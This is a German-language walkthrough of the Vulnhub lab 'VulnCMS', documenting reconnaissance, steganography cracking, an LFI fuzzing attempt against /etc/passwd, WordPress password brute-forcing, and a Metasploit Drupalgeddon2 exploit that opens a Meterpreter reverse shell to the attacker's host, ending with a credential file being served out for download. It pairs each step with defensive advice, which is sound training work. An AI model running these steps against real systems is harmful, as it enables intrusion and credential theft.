VulnCMS - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
gobuster
nikto
stegseek
steghide
cat
curl
wfuzz
tr
awk
sort
uniq
wpscan
searchsploit
msfconsole
python3 (http.server)
wget
ls
grep
sudo
journalctl
find
id
pwd
bash (shell)

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird durchgeführt, um aktive Hosts im lokalen Netzwerk zu finden.
Bewertung: Das Zielsystem wird unter der IP `192.168.2.127` identifiziert. Die MAC-Adresse (`08:00:27:3c:22:7a`) gehört zu einer Oracle VirtualBox VM.
Empfehlung (Offensiv): Die IP-Adresse für nachfolgende Scans verwenden.
Empfehlung (Defensiv): Standardmäßige Netzwerküberwachung implementieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.127	08:00:27:3c:22:7a	PCS Systemtechnik GmbH

Analyse: Die IP `192.168.2.127` wird dem Hostnamen `vulncms.vuln` in der `/etc/hosts`-Datei des Angreifers zugeordnet.
Bewertung: Vereinfacht die Adressierung des Ziels in späteren Schritten.
Empfehlung (Offensiv): Eine nützliche Vorgehensweise zur Verbesserung der Lesbarkeit.
Empfehlung (Defensiv): Keine direkten Auswirkungen auf das Ziel.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
  192.168.2.127	   vulncms.vuln

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -AO -p-`) wird gegen das Ziel durchgeführt.
Bewertung: Der Scan enthüllt eine überraschend große Anzahl offener HTTP-Ports, die von Nginx bedient werden, sowie SSH:

Die Präsenz von drei verschiedenen CMS (WordPress, Joomla, Drupal) auf unterschiedlichen Ports hinter einem Nginx-Reverse-Proxy ist bemerkenswert und bietet mehrere potenzielle Angriffsflächen.
Empfehlung (Offensiv): Alle vier Web-Instanzen (Ports 80, 5000, 8081, 9001) systematisch enumerieren. Fokus auf bekannte Schwachstellen der jeweiligen CMS-Versionen (WordPress 5.7.2, Joomla, Drupal 7). SSH als potenziellen Vektor für spätere Logins vormerken.
Empfehlung (Defensiv): Nur notwendige Ports und Dienste exponieren. Alle CMS und Server-Software (Nginx, OpenSSH) aktuell halten und regelmäßig patchen. Zugriff auf verschiedene Anwendungen logisch trennen und absichern.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.127 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 22:54 CEST
Nmap scan report for vulncms.vuln (192.168.2.127)
Host is up (0.000095s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8c:9f:7e:78:82:ef:76:f6:26:23:c9:52:6d:aa:fe:d0 (RSA)
|   256 2a:e2:f6:d2:52:1c:c1:d0:3d:aa:40:e6:b5:08:1d:45 (ECDSA)
|_  256 fa:c9:eb:58:e3:d2:b7:4a:74:77:fc:69:0e:b6:68:08 (ED25519)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: W3.CSS Template
5000/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-generator: WordPress 5.7.2
|_http-title: fsociety – Just another WordPress site
8081/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
9001/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: fsociety.web
|_http-generator: Drupal 7 (http://drupal.org)
MAC Address: 08:00:27:3C:22:7A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.09 ms vulncms.vuln (192.168.2.127)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.11 seconds

Analyse: Die Nmap-Ausgabe wird gefiltert, um nur die offenen Ports anzuzeigen.
Bewertung: Bestätigt die fünf offenen Ports: 22, 80, 5000, 8081, 9001.
Empfehlung (Offensiv): Systematische Untersuchung aller Web-Ports.
Empfehlung (Defensiv): Überprüfung der Notwendigkeit aller offenen Ports.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.127 -p- | grep open
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
5000/tcp open  http    nginx 1.14.0 (Ubuntu)
8081/tcp open  http    nginx 1.14.0 (Ubuntu)
9001/tcp open  http    nginx 1.14.0 (Ubuntu)

Web Enumeration (Port 80)

Analyse: Ein Gobuster-Scan wird gegen das Verzeichnis `/vulnerable` auf Port 80 durchgeführt. *Hinweis: Der Befehl zielt auf Port 80 (Standard), nicht auf die später gefundenen CMS-Ports.*
Bewertung: Der Scan findet mehrere HTML-Dateien (`index`, `about`, `home`) und eine `robots.txt`. Interessanter ist der Fund des Verzeichnisses `/vulnerable` (das auf `/vulnerable/` weiterleitet) und mehrerer Bilddateien (`image1.png` bis `image5.jpg`) darin.
Empfehlung (Offensiv): Den Inhalt von `robots.txt` prüfen. Die HTML-Seiten nach Hinweisen durchsuchen. Die Bilddateien im `/vulnerable`-Verzeichnis herunterladen und auf versteckte Informationen (Metadaten, Steganographie) untersuchen.
Empfehlung (Defensiv): Verzeichnisse wie `/vulnerable` sollten nicht ohne Grund exponiert werden. Metadaten und versteckte Informationen aus öffentlich zugänglichen Dateien entfernen.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://vulncms.vuln/vulnerable -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://vulncms.vuln/vulnerable
[...]
===============================================================
2023/06/07 22:50:10 Starting gobuster in directory enumeration mode
===============================================================
http://vulncms.vuln/vulnerable/image2.jpg           (Status: 200) [Size: 14699]
http://vulncms.vuln/vulnerable/image1.png           (Status: 200) [Size: 1359183]
http://vulncms.vuln/vulnerable/image3.jpg           (Status: 200) [Size: 156618]
http://vulncms.vuln/vulnerable/image4.jpg           (Status: 200) [Size: 95655]
http://vulncms.vuln/vulnerable/image5.jpg           (Status: 200) [Size: 359426]

http://vulncms.vuln/index.html           (Status: 200) [Size: 6057]
http://vulncms.vuln/about.html           (Status: 200) [Size: 815]
http://vulncms.vuln/home.html            (Status: 200) [Size: 3141]
http://vulncms.vuln/robots.txt           (Status: 200) [Size: 53]
http://vulncms.vuln/vulnerable           (Status: 301) [Size: 194] [--> http://vulncms.vuln/vulnerable/]
===============================================================
2023/06/07 22:52:30 Finished
===============================================

Analyse: Nikto wird gegen den Webserver auf Port 80 ausgeführt.
Bewertung: Findet die üblichen Probleme (fehlende Header, veralteter Nginx), bestätigt `robots.txt` und meldet eine verdächtige `/#wp-config.php#` (wahrscheinlich Irreführung). Keine spezifischen Schwachstellen für die Hauptseite.
Empfehlung (Offensiv): Fokus auf die anderen Ports und die Bilder aus `/vulnerable`.
Empfehlung (Defensiv): Nginx aktualisieren, Sicherheitsheader implementieren, Standarddateien entfernen/schützen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.127
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.127
+ Target Hostname:    192.168.2.127
+ Target Port:        80
+ Start Time:         2023-06-07 22:54:34 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.14.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present
+ /: The X-Content-Type-Options header is not set. This could allow the user ...
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '' is returned a non-forbidden or redirect HTTP code (200).
+ nginx/1.14.0 appears to be outdated (current is at least 1.20.1).
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8103 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2023-06-07 22:54:53 (GMT2) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Steganography

Analyse: Das Tool `stegseek` wird verwendet, um in der Datei `image4.jpg` (aus `/vulnerable`) nach versteckten Daten zu suchen, wobei die Passwortliste `rockyou.txt` verwendet wird.
Bewertung: `stegseek` ist erfolgreich und findet das Passwort `123456789`. Es extrahiert die versteckte Datei unter dem Originalnamen `wp_pass.txt` in die Ausgabedatei `image4.jpg.out`.
Empfehlung (Offensiv): Den Inhalt der extrahierten Datei `image4.jpg.out` (bzw. `wp_pass.txt` im nächsten Schritt) analysieren.
Empfehlung (Defensiv): Keine sensiblen Informationen mittels Steganographie in öffentlich zugänglichen Bildern verstecken, insbesondere nicht mit schwachen Passwörtern.

┌──(root㉿cyber)-[~/VBoxn]
└─# stegseek image4.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "123456789"
[i] Original filename: "wp_pass.txt".
[i] Extracting to "image4.jpg.out".

Analyse: Der Inhalt der von `stegseek` extrahierten Datei (`image4.jpg.out`) wird angezeigt.
Bewertung: Enthält den Text "Random URLs are helpful but 5000 times". Dies ist ein klarer Hinweis auf den Port 5000, auf dem Nmap eine WordPress-Instanz gefunden hat.
Empfehlung (Offensiv): Den WordPress-Blog auf Port 5000 (`http://vulncms.vuln:5000`) genauer untersuchen.
Empfehlung (Defensiv): Keine Hinweise in versteckten Dateien ablegen.

┌──(root㉿cyber)-[~/VBoxn]
└─# cat image4.jpg.out
Random URLs are helpful but 5000 times

Analyse: Alternativ wird `steghide` verwendet, um die Daten aus `image4.jpg` zu extrahieren. Es fragt nach dem Passwort (implizit wird `123456789` eingegeben) und extrahiert die Datei `wp_pass.txt`.
Bewertung: Bestätigt das Ergebnis von `stegseek`. Der Inhalt von `wp_pass.txt` ist derselbe Hinweis auf Port 5000.
Empfehlung (Offensiv): Fokus auf Port 5000.
Empfehlung (Defensiv): Siehe oben.

┌──(root㉿cyber)-[~/VBoxn]
└─# steghide extract -sf image4.jpg
Passwort eingeben: 123456789
Extrahierte Daten wurden nach "wp_pass.txt" geschrieben.
┌──(root㉿cyber)-[~/VBoxn]
└─# cat wp_pass.txt
Random URLs are helpful but 5000 times

Multi-Port Exploration (8081, 9001, 5000)

Analyse: Der Inhalt von `robots.txt` (Port 80), `home.html` (Port 80) und `about.html` (Port 80) wird angezeigt.
Bewertung: `robots.txt` verbietet `/home.html` und `/about.html`. `home.html` enthält den Hinweis `-fsociety.web`, was ein möglicher Hostname für eine der anderen Instanzen (vermutlich Drupal auf 9001 oder WordPress auf 5000) ist. `about.html` enthält Zitate, die auf Social Engineering hindeuten und davon abraten, Brute-Force zu verwenden.
Empfehlung (Offensiv): Den Hostnamen `fsociety.web` der lokalen `/etc/hosts`-Datei hinzufügen und prüfen, ob er auf eine der Instanzen (5000 oder 9001) verweist. Die Warnung vor Brute-Force ernst nehmen, aber nicht vollständig ausschließen.
Empfehlung (Defensiv): Keine potenziellen Hostnamen oder Meta-Hinweise in öffentlichen Dateien hinterlassen.

http://vulncms.vuln/robots.txt

User-agent: *

Disallowed: /home.html
Disallowed: /about.html
-----------------------------------------------------------------------------------
http://vulncms.vuln/home.html

-fsociety.web
-----------------------------------------------------------------------------------
http://vulncms.vuln/about.html

About Us
Mobley:

People are all just people, right? When it gets down to it, everyone’s the same.
They love something. They want something. They fear something. Specifics help, but
specifics don’t change the way that everyone is vulnerable. It just changes the
way that we access those vulnerabilities.

Elloit:

Don't try to brute force the vulnerable stuff, it doesn't work everytime.

Analyse: `curl` wird gegen Port 8081 (Joomla) ausgeführt und die Ausgabe nach `php` gefiltert.
Bewertung: Findet Links zu `/index.php/component/users/?view=remind` und `...reset`. Dies bestätigt, dass es sich um eine PHP-Anwendung handelt (was Nmap bereits andeutete) und zeigt Standard-Joomla-Pfade für Passwort-Resets.
Empfehlung (Offensiv): Die Joomla-Instanz auf bekannte Schwachstellen prüfen (Version? Nicht von Nmap erkannt).
Empfehlung (Defensiv): Joomla und Erweiterungen aktuell halten.

┌──(root㉿cyber)-[~]
└─# curl http://vulncms.vuln:8081 | grep php

Analyse: Beim erneuten Aufruf von Port 8081 wird ein SQL-Fehler angezeigt: "Disk full (/tmp/#sql_47e_1.MAI); waiting for someone to free some space...". Die vollständige SQL-Abfrage wird ebenfalls ausgegeben.
Bewertung: Dies ist eine kritische Information Disclosure. Der Fehler "Disk full" deutet auf ein Ressourcenproblem hin (volles `/tmp`-Verzeichnis). Die offenbarte SQL-Abfrage gibt Einblick in die Datenbankstruktur (Tabellennamen wie `hs23w_content`, `hs23w_categories`, `hs23w_users`) von Joomla. Der Dateiname `#sql_47e_1.MAI` ist ein temporärer MySQL-Index/Daten-Dateiname.
Empfehlung (Offensiv): Versuchen, das `/tmp`-Verzeichnis zu füllen, um Fehler zu provozieren (DoS, schwierig). Die Datenbankstruktur für mögliche spätere Angriffe (z.B. SQL Injection, falls ein Vektor gefunden wird) nutzen. Prüfen, ob `/tmp` über einen anderen Weg (z.B. LFI) lesbar ist.
Empfehlung (Defensiv): Detaillierte Fehlermeldungen in Produktionsumgebungen deaktivieren. Speicherplatz-Monitoring implementieren. `/tmp` härten (z.B. `noexec`, `nosuid`).

http://vulncms.vuln:8081/
Error

Disk full (/tmp/#sql_47e_1.MAI); waiting for someone to free some space...
(errno: 28 "No space left on device")

SQL=SELECT a.id, a.title, a.alias, a.introtext, a.fulltext, a.checked_out,
[...] (Lange SQL Query)
ORDER BY c.lft, a.featured DESC, fp.ordering, CASE WHEN a.publish_up = '0000-00-00 00:00:00'
 THEN a.created ELSE a.publish_up END DESC , a.created DESC LIMIT 0, 4

Analyse: Es wird versucht, die temporäre SQL-Datei direkt über den Webserver (`/tmp/...`) aufzurufen.
Bewertung: Es wird nur eine leere Indexdatei angezeigt. Der direkte Zugriff auf `/tmp` über den Webserver ist nicht möglich.
Empfehlung (Offensiv): Andere Methoden suchen (LFI etc.).
Empfehlung (Defensiv): Sicherstellen, dass Verzeichnisse wie `/tmp` nicht über den Webserver erreichbar sind.

view-source:http://vulncms.vuln:8081/tmp/#sql_47e_1.MAI
http://vulncms.vuln:8081/tmp/index.html           (Status: 200) [Size: 31]

Analyse: Zugriff auf Port 9001 (Drupal). Zeigt eine Login-Seite. Der Zugriff auf `/user/1` (typischer Admin-Account) wird verweigert.
Bewertung: Standard-Drupal-Verhalten. Kein direkter Angriffsvektor hier.
Empfehlung (Offensiv): Drupal-Version (7) beachten und nach bekannten Exploits suchen.
Empfehlung (Defensiv): Drupal und Module aktuell halten.

http://vulncms.vuln:9001/?q=user/1

User login
Username *
Password *

    Create new account
    Request new password

Access denied
You are not authorized to access this page

Analyse: `wfuzz` wird verwendet, um LFI auf Port 8081 (Joomla) zu testen, indem versucht wird, `/etc/passwd` über verschiedene Parameter zu inkludieren.
Bewertung: Der Scan liefert nur 500er-Fehler für einige Parameter, aber keinen erfolgreichen LFI (kein Inhalt von `/etc/passwd`). Die 500er könnten wieder mit dem "Disk full"-Problem zusammenhängen.
Empfehlung (Offensiv): LFI scheint hier nicht direkt erfolgreich zu sein. Andere Vektoren priorisieren.
Empfehlung (Defensiv): LFI durch sichere Programmierung (keine direkten Benutzereingaben in `include`/`require`) und Konfiguration (z.B. `allow_url_include=Off`) verhindern.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://vulncms.vuln:8081/index.php?FUZZ=../../../../etc/passwd" --hc 400,401,402,403,404 --hw 674 --hh 97
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://vulncms.vuln:8081/index.php?FUZZ=../../../../etc/passwd
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000106143:   500        0 L      12 W       97 Ch       "feds3"
000106156:   500        0 L      12 W       97 Ch       "microsoft_nsa"
000106155:   500        0 L      12 W       97 Ch       "1165685723472"
000106154:   500        0 L      12 W       97 Ch       "OTG-Afghanistan"
[...]
Total requests: XXXXXX
Filtered requests: XXXXXX
Total time: XXXXXX
Processed Words: XXXXXX
Requests/sec: XXXXXX

Analyse: Ein Gobuster-Scan gegen Port 9001 (Drupal) wird gezeigt.
Bewertung: Findet viele Standard-Drupal-Pfade und -Dateien (`misc`, `themes`, `modules`, `sites`, `includes`, `profiles`, `install.php`, `README.txt`, etc.). Bestätigt, dass es sich um eine Drupal-Installation handelt.
Empfehlung (Offensiv): Drupal 7 ist bekannt für kritische Schwachstellen (Drupalgeddon 1, 2, 3). Dies ist ein sehr vielversprechender Angriffsvektor.
Empfehlung (Defensiv): Drupal und alle Module dringend auf die neuesten Versionen aktualisieren.

gobuster
http://vulncms.vuln:9001/index.php            (Status: 200) [Size: 15892]
http://vulncms.vuln:9001/misc                 (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/misc/]
http://vulncms.vuln:9001/themes               (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/themes/]
http://vulncms.vuln:9001/modules              (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/modules/]
http://vulncms.vuln:9001/scripts              (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/scripts/]
http://vulncms.vuln:9001/sites                (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/sites/]
http://vulncms.vuln:9001/includes             (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/includes/]
http://vulncms.vuln:9001/install.php          (Status: 200) [Size: 3257]
http://vulncms.vuln:9001/profiles             (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/profiles/]
http://vulncms.vuln:9001/README.txt           (Status: 200) [Size: 5382]
http://vulncms.vuln:9001/INSTALL.txt          (Status: 200) [Size: 17995]
http://vulncms.vuln:9001/LICENSE.txt          (Status: 200) [Size: 18092]
http://vulncms.vuln:9001/CHANGELOG.txt        (Status: 200) [Size: 110781]
http://vulncms.vuln:9001/xmlrpc.php           (Status: 200) [Size: 42]
http://vulncms.vuln:9001/COPYRIGHT.txt        (Status: 200) [Size: 1481]
http://vulncms.vuln:9001/UPGRADE.txt          (Status: 200) [Size: 10123]
[...]

Analyse: Untersuchung der WordPress-Instanz auf Port 5000 über den Hostnamen `fsociety.web`. Der Quelltext eines oEmbed-Links (`/wp-json/oembed/1.0/embed?url=...`) wird angezeigt.
Bewertung: Das JSON-Ergebnis des oEmbed-Links bestätigt den Benutzernamen `wordpress_admin`.
Empfehlung (Offensiv): Den Benutzernamen `wordpress_admin` für Brute-Force-Angriffe auf den WP-Login (`/wp-login.php` auf Port 5000) verwenden.
Empfehlung (Defensiv): Die WordPress REST API und oEmbed einschränken, wenn nicht benötigt, um Informationslecks zu minimieren.

192.168.2.127	   vulncms.vuln fsociety.web

Published May 28, 2021By wordpress_admin
-----------------------------------------------------------------------------------
view-source:http://fsociety.web:5000/wp-json/oembed/1.0/embed?url=http%3A%2F%2Ffsociety.web%3A5000%2Fhello-world%2F

{"version":"1.0",
"provider_name":"fsociety",
"provider_url":"http:\/\/fsociety.web:5000",
"author_name":"wordpress_admin",
"author_url":"http:\/\/fsociety.web:5000\/author\/wordpress_admin\/",
"title":"Hello world!",
"type":"rich",
"width":600,
"height":338,
"html":"

Analyse: Die JSON-Ausgabe wird formatiert und die relevanten Felder wie `id`, `name`, `link`, `slug` für `wordpress_admin` werden extrahiert.
Bewertung: Bestätigt erneut den Benutzernamen `wordpress_admin` (ID 1).
Empfehlung (Offensiv): Mit WPScan oder Hydra versuchen, das Passwort für `wordpress_admin` zu finden.
Empfehlung (Defensiv): Benutzer-Enumeration über die REST API erschweren.

┌──(root㉿cyber)-[~]
└─# cat json.txt | tr "," "\n"
{"id":1
"name":"wordpress_admin"
"url":"http:\/\/192.168.29.217:5000"
"description":""
"link":"http:\/\/fsociety.web:5000\/author\/wordpress_admin\/"
"slug":"wordpress_admin"
"avatar_urls":{"24":"http:\/\/0.gravatar.com\/avatar\/3c2e152685085839fd90d8d626c5de27?s=24&d=mm&r=g"
"48":"http:\/\/0.gravatar.com\/avatar\/3c2e152685085839fd90d8d626c5de27?s=48&d=mm&r=g"
"96":"http:\/\/0.gravatar.com\/avatar\/3c2e152685085839fd90d8d626c5de27?s=96&d=mm&r=g"}
"meta":[]
"_links":{"self":[{"href":"http:\/\/fsociety.web:5000\/wp-json\/wp\/v2\/users\/1"}]
"collection":[{"href":"http:\/\/fsociety.web:5000\/wp-json\/wp\/v2\/users"}]}}

Analyse: Manuelle Login-Versuche auf dem WordPress-Login (`/wp-login.php` auf Port 5000) für `wordpress_admin` mit dem Passwort `admin` und für den Benutzernamen `fsociety` scheitern.
Bewertung: Bestätigt, dass einfache Standardpasswörter nicht funktionieren.
Empfehlung (Offensiv): Systematischen Brute-Force-Angriff starten.
Empfehlung (Defensiv): Starke Passwörter verwenden, Login-Versuche begrenzen (Fail2Ban), keine leicht erratbaren Benutzernamen.

wordpress login

Error: The password you entered for the
username wordpress_admin is incorrect.
Lost your password?

Username or Email Address
wordpress_admin

Password
admin


fsociety
Unknown username. Check again or try your email address.

Analyse: WPScan wird verwendet, um die WordPress-Instanz auf Port 5000 zu scannen, wobei der Benutzer `wordpress_admin` angegeben wird.
Bewertung: WPScan identifiziert die WordPress-Version 5.7.2 und listet zahlreiche bekannte Schwachstellen für diese Version und darunter auf (XSS, SSRF, Content Injection, Directory Traversal). Keine Plugins werden gefunden. Der Scan bestätigt, dass es sich um eine Multisite-Installation handelt.
Empfehlung (Offensiv): Die aufgelisteten Schwachstellen recherchieren und prüfen, ob Exploits verfügbar sind. Da jedoch Drupal 7 auf Port 9001 läuft, ist dies möglicherweise ein einfacherer Vektor.
Empfehlung (Defensiv): WordPress dringend auf die neueste Version aktualisieren.

┌──(root㉿cyber)-[~]
└─# wpscan --url http://fsociety.web:5000/ --usernames wordpress_admin
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
[...]
_______________________________________________________________

[+] URL: http://fsociety.web:5000/ [192.168.2.127]
[+] Started: Thu Jun  8 00:49:09 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: nginx/1.14.0 (Ubuntu)
[...]
[+] WordPress Version 5.7.2 Identified (Latest: X.X.X)
[...]
[!] Title: WP < 6.0.3 - Stored XSS via RSS Widget
[...]
[i] The main theme could not be detected.
[...]
[+] Finished: Thu Jun  8 00:49:18 2023
[...]

Analyse: WPScan wird erneut gestartet, diesmal um das Passwort für `wordpress_admin` mit `rockyou.txt` zu brute-forcen. Der Scan wird vom Benutzer abgebrochen.
Bewertung: Zeigt einen Versuch, das Passwort zu knacken, der aber entweder zu lange dauerte oder als aussichtslos erachtet wurde.
Empfehlung (Offensiv): Andere Angriffsvektoren (Drupal, Joomla) priorisieren, da Brute-Force hier nicht direkt zum Erfolg führte.
Empfehlung (Defensiv): Login-Versuche begrenzen, um Brute-Force zu erschweren.

┌──(root㉿cyber)-[~]
└─# wpscan --url http://fsociety.web:5000/ --usernames wordpress_admin --passwords /usr/share/wordlists/rockyou.txt
[...]
[i] No Valid Passwords Found.
[...]
Scan Aborted: Canceled by User

Initial Access (Drupalgeddon2)

Analyse: `searchsploit` wird verwendet, um nach Exploits für Drupal 7 zu suchen.
Bewertung: Es werden zahlreiche Exploits gefunden, darunter mehrere für "Drupalgeddon" (SQLi) und "Drupalgeddon2" (RCE) sowie "Drupalgeddon3" (RCE). Drupalgeddon2 (CVE-2018-7600) ist eine bekannte und oft zuverlässige Remote Code Execution Schwachstelle für Drupal 7.
Empfehlung (Offensiv): Einen der Drupalgeddon-Exploits (insbesondere Drupalgeddon2) gegen die Instanz auf Port 9001 ausprobieren.
Empfehlung (Defensiv): Drupal dringend patchen.

┌──(root㉿cyber)-[~]
└─# searchsploit Drupal 7
--------------------------------------------------------- ---------------------------------
 Exploit Title                                           |  Path
--------------------------------------------------------- ---------------------------------
[...]
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Adm | php/webapps/34992.py
[...]
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgedd | php/webapps/44449.rb  <-- Drupalgeddon2
[...]
--------------------------------------------------------- ---------------------------------

Analyse: Der Pentester kopiert einen lokalen Exploit (35150.php - Drupalgeddon SQLi RCE) in das aktuelle Verzeichnis.
Bewertung: Dies bereitet die Verwendung eines spezifischen Exploits vor, obwohl im nächsten Schritt Metasploit verwendet wird.
Empfehlung (Offensiv): Entweder diesen Exploit manuell anpassen und verwenden oder auf Metasploit zurückgreifen.
Empfehlung (Defensiv): Drupal patchen.

┌──(root㉿cyber)-[~]
└─# searchsploit -m php/webapps/35150.php
  Exploit: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)
      URL: https://www.exploit-db.com/exploits/35150
     Path: /usr/share/exploitdb/exploits/php/webapps/35150.php
    Codes: CVE-2014-3704, OSVDB-113371
 Verified: True
File Type: PHP script, Unicode text, UTF-8 text
Copied to: /root/35150.php

Analyse: Metasploit wird gestartet und nach Drupal 7 Exploits gesucht. Das Modul `exploit/unix/webapp/drupal_drupalgeddon2` wird ausgewählt. Die Optionen werden konfiguriert: `RHOSTS` auf die Ziel-IP, `RPORT` auf 9001 (Drupal-Port), `LHOST` auf die Angreifer-IP, `LPORT` auf 1234. Der Exploit wird ausgeführt.
Bewertung: Das Modul prüft erfolgreich die Verwundbarkeit ([+] The target is vulnerable.). Der Exploit wird ausgeführt und öffnet eine Meterpreter-Session. Anschließend wird mittels `shell` eine System-Shell als Benutzer `www-data` erlangt.
Ergebnis: Erfolgreicher Initial Access! Durch Ausnutzen von Drupalgeddon2 wurde eine Shell als `www-data` erlangt.
Empfehlung (Offensiv): Die `www-data`-Shell für weitere Enumeration und Privilegieneskalation nutzen.
Empfehlung (Defensiv): Drupal umgehend patchen, um Drupalgeddon2 (CVE-2018-7600) zu schließen.

┌──(root㉿cyber)-[~]
└─# msfconsole
[...]
msf6 > search Drupal 7
[...]
   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
[...]
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
[...]
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options
[...]
Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
[...]
   RHOSTS                        yes       The target host(s), [...]
   RPORT        80               yes       The target port (TCP)
[...]
Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address [...]
   LPORT  4444             yes       The listen port
[...]
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set PHP_FUNC     passthru
PHP_FUNC => passthru
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.2.127
RHOSTS => 192.168.2.127
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 9001
RPORT => 9001
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.2.113 
LHOST => 192.168.2.113
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LPORT 1234
LPORT => 1234
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.2.113:1234
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 192.168.2.127
[*] Meterpreter session 1 opened (192.168.2.113:1234 -> 192.168.2.127:41972) at 2023-06-08 01:00:19 +0200

meterpreter > shell
Process 12844 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Credential Discovery (Post-Access)

Analyse: In der `www-data`-Shell wird das Verzeichnis `/opt` untersucht. Dort wird eine Datei `8081.cred` gefunden. Ein Python HTTP-Server wird gestartet, um die Datei herunterzuladen.
Bewertung: Das Finden von Credential-Dateien in ungewöhnlichen Verzeichnissen wie `/opt` ist ein häufiger Fund in CTFs. Die Datei `8081.cred` deutet auf Zugangsdaten für die Joomla-Instanz auf Port 8081 hin.
Empfehlung (Offensiv): Die Datei herunterladen und ihren Inhalt analysieren.
Empfehlung (Defensiv): Keine Credential-Dateien im Klartext speichern, schon gar nicht in leicht zugänglichen Verzeichnissen. Konfigurationsmanagement-Tools oder Secrets Manager verwenden.

$ cd /opt/
$ ls -la
total 12
drwxr-xr-x  2 root root 4096 May 31  2021 .
drwxr-xr-x 24 root root 4096 Jun  7 21:20 ..
-rw-r--r--  1 root root   69 May 31  2021 8081.cred
$ python3 -m http.server 8000
